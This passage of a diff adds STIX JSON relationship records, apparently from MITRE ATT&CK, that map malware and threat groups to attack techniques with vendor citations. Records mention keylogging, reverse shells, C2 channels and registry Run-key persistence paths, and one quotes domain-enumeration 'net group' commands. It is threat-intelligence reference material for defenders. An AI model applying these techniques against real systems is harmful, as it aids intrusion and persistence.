"2019-01-29T18:44:04.949Z", + "id": "relationship--38248217-7c11-4ae9-a13e-7296dead0df8", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "modified": "2019-04-16T14:30:35.265Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018.", + "source_name": "DigiTrust Agent Tesla Jan 2017", + "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Remcos](https://attack.mitre.org/software/S0332) has a command for keylogging.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:55:20.860Z", + "id": "relationship--c50fd202-d4af-4157-b368-b4525af075c1", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "modified": "2019-04-19T14:39:52.964Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018.", + "source_name": "Fortinet Remcos Feb 2017", + "url": "https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html" + }, + { + "description": "Brumaghin, E., Unterbrink, H. (2018, August 22). Picking Apart Remcos Botnet-In-A-Box. Retrieved November 6, 2018.", + "source_name": "Talos Remcos Aug 2018", + "url": "https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) has a keylogging capability.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:18:28.779Z", + "id": "relationship--da288184-6537-4a23-b26e-e4329690bddb", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "modified": "2019-06-04T19:40:43.552Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro DarkComet Sept 2014", + "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "description": "[Epic](https://attack.mitre.org/software/S0091) uses the net time command to get the system time from the machine and collect the current date and time zone information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:55:48.080Z", + "id": "relationship--16f64842-8ba8-4827-a47f-e7d665f942ae", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "modified": "2019-07-26T16:10:42.665Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "description": "[NanoCore](https://attack.mitre.org/software/S0336) can capture audio feeds from the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T20:05:36.514Z", + "id": "relationship--72e501db-419e-4fe9-9f10-fa8f266d829b", + "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "modified": "2019-04-17T20:47:23.853Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018.", + "source_name": "DigiTrust NanoCore Jan 2017", + "url": "https://www.digitrustgroup.com/nanocore-not-your-average-rat/" + }, + { + "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018.", + "source_name": "PaloAlto NanoCore Feb 2016", + "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[APT38](https://attack.mitre.org/groups/G0082) used a backdoor, QUICKRIDE, to communicate to the C2 server over HTTP and HTTPS.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:27:25.242Z", + "id": "relationship--5577d7ff-58ee-4513-bf01-3be1a60ac2c9", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "modified": "2019-09-09T19:10:53.293Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "source_name": "FireEye APT38 Oct 2018", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:37:00.022Z", + "id": "relationship--69205d34-6967-40df-baed-45b5d23d8e27", + "source_ref": "intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb", + "modified": "2019-04-12T16:33:51.199Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 SilverTerrier 2018", + "description": "Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.", + "url": "https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[Elise](https://attack.mitre.org/software/S0081) creates a file in AppData\\Local\\Microsoft\\Windows\\Explorer and stores all harvested data in that file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:57:39.366Z", + "id": "relationship--9e77c6fc-0227-42d6-b4ce-f228115963fe", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "modified": "2019-04-17T22:12:24.761Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018.", + "source_name": "Accenture Dragonfish Jan 2018", + "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) uses WMI to query the Windows Registry.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:42:09.595Z", + "id": "relationship--8a9e5785-f1cb-4127-9045-07e7bba11e80", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "modified": "2019-01-30T13:42:09.595Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[APT18](https://attack.mitre.org/groups/G0026) obfuscates strings in the payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T14:00:49.906Z", + "id": "relationship--23bd8e78-b20d-41bd-acfb-5ed356b327b2", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "modified": "2019-05-30T18:05:32.748Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto DNS Requests May 2016", + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Exaramel for Windows](https://attack.mitre.org/software/S0343) has a command to launch a remote shell and executes commands on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:10:04.213Z", + "id": "relationship--29bc6cf7-25aa-41da-8be3-e2de12c7d876", + "source_ref": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5", + "modified": "2019-09-04T23:04:50.136Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET TeleBots Oct 2018", + "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", + "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Seasalt](https://attack.mitre.org/software/S0345) has a command to download additional files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:27:06.732Z", + "id": "relationship--75f47e28-75dd-4471-8d00-ed4a2c4d3328", + "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", + "modified": "2019-02-12T21:28:19.488Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + }, + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[OceanSalt](https://attack.mitre.org/software/S0346) can create a reverse shell on the infected endpoint using cmd.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:43:19.423Z", + "id": "relationship--102d7613-aabc-4d54-b0fe-88501924da86", + "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea", + "modified": "2019-02-12T21:14:11.156Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "source_name": "McAfee Oceansalt Oct 2018", + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) injects into a newly spawned process created from a native Windows executable.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T16:39:54.430Z", + "id": "relationship--a24d8975-fa51-4ac1-b928-9af5b5660109", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "modified": "2019-06-10T18:25:51.491Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that leveraged WMI for execution and querying host information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:33:40.937Z", + "id": "relationship--1b6f869f-951c-4323-816f-dbedbe3aac0a", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:58.480Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + }, + { + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "source_name": "ClearSky MuddyWater Nov 2018", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + }, + { + "description": "Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.", + "source_name": "Talos MuddyWater May 2019", + "url": "https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[zwShell](https://attack.mitre.org/software/S0350) can modify the Registry.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:48:35.604Z", + "id": "relationship--9fbc10b3-f72e-4cc8-9e94-34c6404c3a1f", + "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", + "modified": "2019-01-30T17:48:35.604Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:02:59.454Z", + "id": "relationship--5228157f-e15e-4059-a400-503f75f019b6", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "modified": "2019-03-25T14:36:29.966Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Cannon](https://attack.mitre.org/software/S0351) uses SMTP/S and POP3/S for C2 communications by sending and receiving emails.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:58:04.102Z", + "id": "relationship--62391d2c-56de-42e3-a937-fb9ffa3a4308", + "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d", + "modified": "2019-04-22T19:48:08.899Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) uses the Windows call SetWindowsHookEx and begins injecting it into every GUI process running on the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T19:50:46.744Z", + "id": "relationship--e712d24e-0fdc-4ce3-96bf-939b7d4a9cd3", + "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "modified": "2019-01-31T00:38:09.393Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[KONNI](https://attack.mitre.org/software/S0356) can collect the username from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T00:36:40.962Z", + "id": "relationship--412c7c8b-4821-4f08-a3d2-2da034f8343f", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "modified": "2019-07-26T18:47:18.860Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[APT32](https://attack.mitre.org/groups/G0050) enumerated administrative users and DC servers using the commands net localgroup administrators and net group \"Domain Controllers\" /domain.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T01:07:58.606Z", + "id": "relationship--eabc867b-7383-4752-b3ec-ad51ec8104bb", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:37.814Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b", + "description": "[FIN4](https://attack.mitre.org/groups/G0085) has presented victims with spoofed Windows Authentication prompts to collect their credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T02:01:45.685Z", + "id": "relationship--a568a6a5-860b-4fe1-9f00-ab6fbbb41a26", + "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6", + "modified": "2019-04-18T20:19:49.223Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Hacking FIN4 Dec 2014", + "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.", + "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html" + }, + { + "source_name": "FireEye Hacking FIN4 Video Dec 2014", + "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved January 15, 2019.", + "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[BadPatch](https://attack.mitre.org/software/S0337) has a keylogging capability.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:33:34.689Z", + "id": "relationship--626b1cb2-60a8-4077-913e-1ee4e788cec6", + "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1", + "modified": "2019-04-23T21:17:49.823Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018.", + "source_name": "Unit 42 BadPatch Oct 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) executes an RAR tool to recursively archive files based on a predefined list of file extensions (*.xls, *.xlsx, *.csv, *.odt, *.doc, *.docx, *.ppt, *.pptx, *.pdf, *.mdb, *.accdb, *.accde, *.txt).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:47:53.743Z", + "id": "relationship--12c94395-26b4-46a5-bb10-dab19b5f1a30", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "modified": "2019-04-17T22:05:05.827Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", + "source_name": "Radware Micropsia July 2018", + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Xbash](https://attack.mitre.org/software/S0341) uses HTTP for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:28:47.843Z", + "id": "relationship--06eac254-32a7-4e32-97b2-c46f79b4adb3", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "modified": "2019-06-28T15:15:54.347Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) uses HTTP and HTTPS for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:53:14.947Z", + "id": "relationship--4905ffe6-8c52-48e2-90f1-ea1ad064fe16", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "modified": "2019-04-17T22:22:21.905Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[Gallmaker](https://attack.mitre.org/groups/G0084) sent emails with malicious Microsoft Office documents attached.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T14:26:43.179Z", + "id": "relationship--fb0121a7-4ba2-4e6d-a12d-b7375581b943", + "source_ref": "intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee", + "modified": "2019-04-16T14:51:35.271Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Gallmaker Oct 2018", + "description": "Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Seasalt](https://attack.mitre.org/software/S0345) creates a Registry entry to ensure infection after reboot under HKLM\\Software\\Microsoft\\Windows\\currentVersion\\Run.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:27:06.665Z", + "id": "relationship--b228cc3b-a428-42e4-b6f3-994fe790e329", + "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", + "modified": "2019-02-12T21:28:19.541Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "source_name": "McAfee Oceansalt Oct 2018", + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[BISCUIT](https://attack.mitre.org/software/S0017) has a command to download a file from the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:38:21.390Z", + "id": "relationship--b0220134-2033-4261-9b1d-e94abd691476", + "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda", + "modified": "2019-01-30T15:38:21.390Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1 Appendix", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) establishes Persistence by setting the HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load Registry key to point to its executable.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T16:39:54.280Z", + "id": "relationship--df05fecd-1eee-4139-8090-794a3310b478", + "source_ref": 